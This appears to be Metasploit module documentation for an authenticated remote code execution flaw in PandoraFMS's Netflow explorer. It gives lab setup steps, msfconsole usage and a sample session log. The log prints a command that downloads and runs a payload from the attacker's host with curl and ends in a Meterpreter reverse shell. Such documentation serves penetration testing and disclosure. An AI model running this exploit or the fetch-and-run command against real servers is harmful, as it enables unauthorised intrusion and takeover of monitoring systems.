## Vulnerable Application

PandoraFMS offers multiple modules that can be turned on or off with an administrative account.
One of them is Netflow, which is responsible for real-time network monitoring.
It can collect network data and then report or dump it.
Once Netflow is configured, it allows you to perform various tasks, such as viewing and exporting network data.

The Netflow explorer contains a vulnerability,
when an unsanitized parameter from the Netflow configuration is placed into a string that gets executed using the exec() function.

The PandoraFMS can be installed from [here](https://sourceforge.net/projects/pandora/files/Pandora%20FMS%207.0NG/777/Tarball/):

1. Download vulnerable PandoraFMS
1. Install webserver - Apache2, MySQL, PHP8.2+
1. Disable `strict_mode` in MySQL - `set global sql_mode='';`
1. Following installation steps of PandoraFMS
1. Enable Netflow in PandoraFMS settings
1. Run: `sudo apt install nfdump`


## Verification Steps

1. Install the application
1. Start msfconsole
1. Do: `use linux/http/pandora_fms_auth_netflow_rce`
1. Do: `set rhosts [target IP]`
1. Do: `set lhost  [attacker IP]`
1. Do: `set username  [username]`
1. Do: `set password  [password]`
1. Do: `run`
1. You should get a shell.

## Options


### USERNAME

Login username of existing user.

### PASSWORD

Login password of existing user.

## Scenarios

```
msf6 exploit(linux/http/pandora_fms_auth_netflow_rce) > set rhosts 192.168.168.146
msf6 exploit(linux/http/pandora_fms_auth_netflow_rce) > set PASSWORD pandora
msf6 exploit(linux/http/pandora_fms_auth_netflow_rce) > set USERNAME admin
msf6 exploit(linux/http/pandora_fms_auth_netflow_rce) > run verbose=true 
[*] Command to run on remote host: curl -so ./khZKmkFYijJ http://192.168.168.128:8080/M1We21fZKyvgtWK9IWStLA;chmod +x ./khZKmkFYijJ;./khZKmkFYijJ&
[*] Fetch handler listening on 192.168.168.128:8080
[*] HTTP server started
[*] Adding resource /M1We21fZKyvgtWK9IWStLA
[*] Started reverse TCP handler on 192.168.168.128:4444 
[*] 192.168.168.146:80 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.168.146:80 - Version 7.0.777 detected
[+] 192.168.168.146:80 - The target is vulnerable. Vulnerable PandoraFMS version 7.0.777 detected
[*] Client 192.168.168.146 requested /M1We21fZKyvgtWK9IWStLA
[*] Sending payload to 192.168.168.146 (curl/7.68.0)
[*] Meterpreter session 2 opened (192.168.168.128:4444 -> 192.168.168.146:54980) at 2025-06-25 12:27:52 +0200

meterpreter > sysinfo
Computer     : 192.168.168.146
OS           : Ubuntu 20.04 (Linux 5.15.0-136-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
```
